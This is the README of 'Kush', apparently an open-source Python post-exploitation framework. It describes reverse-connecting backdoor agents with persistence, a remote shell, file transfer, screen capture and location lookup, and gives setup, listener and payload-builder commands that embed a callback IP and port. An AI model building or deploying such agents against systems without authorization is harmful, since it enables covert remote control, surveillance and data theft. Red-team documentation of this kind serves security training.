Kush is a Python-based post-exploitation framework designed for authorized security testing and training.
The name comes from the Kingdom of Kush, reflecting both Sudanese heritage and the project’s goal:
empowering defenders by understanding offensive techniques.
-
Cross-platform payloads – generate Windows or Linux agents from a single code base.
-
Encrypted & reliable communication – JSON + length header for safe binary transfers.
-
Upload / Download – transfer any file (Base64 encoded).
-
Interactive shell – run remote commands, change directories, capture output.
-
Windows and linux persistence – the backdoor will run when system restart.
-
Command history & tab-completion (v1.1+).
-
Typo suggestions – automatically hints the closest valid command.
-
And more !
-
backdoor.py — agent (runs on the test machine and connects back to the listener).
-
listener.py — control server / operator console (interactive shell, file-transfer).
-
builder.py — payload builder to generate platform-specific agents and embed LHOST/LPORT.
-
Clone & install dependencies
git clone https://github.com/HackScaleTeam/kush-exploitation-framework.git cd kush-exploitation-framework cd setup pip3 install -r requirements.txt ./setup.sh
-
Run the listener
python3 listener.py -i <IP> -p <PORT>
-
Generate payload Build a payload (example — use -t for target):
python3 builder.py -t windows -i 10.0.2.129 -p 4444
python3 builder.py -t linux -i 10.0.2.129 -p 4444
This produces an executable/agent configured to call back.
help -> Show available commands
exit -> Close the current session
download -> Download a file from the agent: download <remote_path>
upload -> Upload a file to the agent: upload <local_path> <remote_path>
cd -> Change directory on the agent: cd <remote_path>
<shell command> -> Run any shell command when connected (e.g. whoami, ls, dir)
windows_persistnce -> Run shell persistence command on the remote windows machine to make the backdoor run when system boot
linux_persistnce -> Run shell persistence command on the remote linux machine to make the backdoor run when system boot
screenshot -> Take a screenshot of remote desktop.
start_stream -> Start real-time screen streaming
stop_stream -> Stop screen streaming (alternative to Ctrl+C).
get_gps -> Get approximate GPS location (IP-based).
Kush is strictly for authorized penetration testing, red-team exercises, and personal lab research. Running this tool on systems you do not own or have explicit permission to test is illegal and can lead to criminal prosecution. The authors accept no liability for misuse.
If you find this project useful, you can support development via PayPal or Bitcoin.
Thanks for supporting the project! 💙
— see LICENSE.
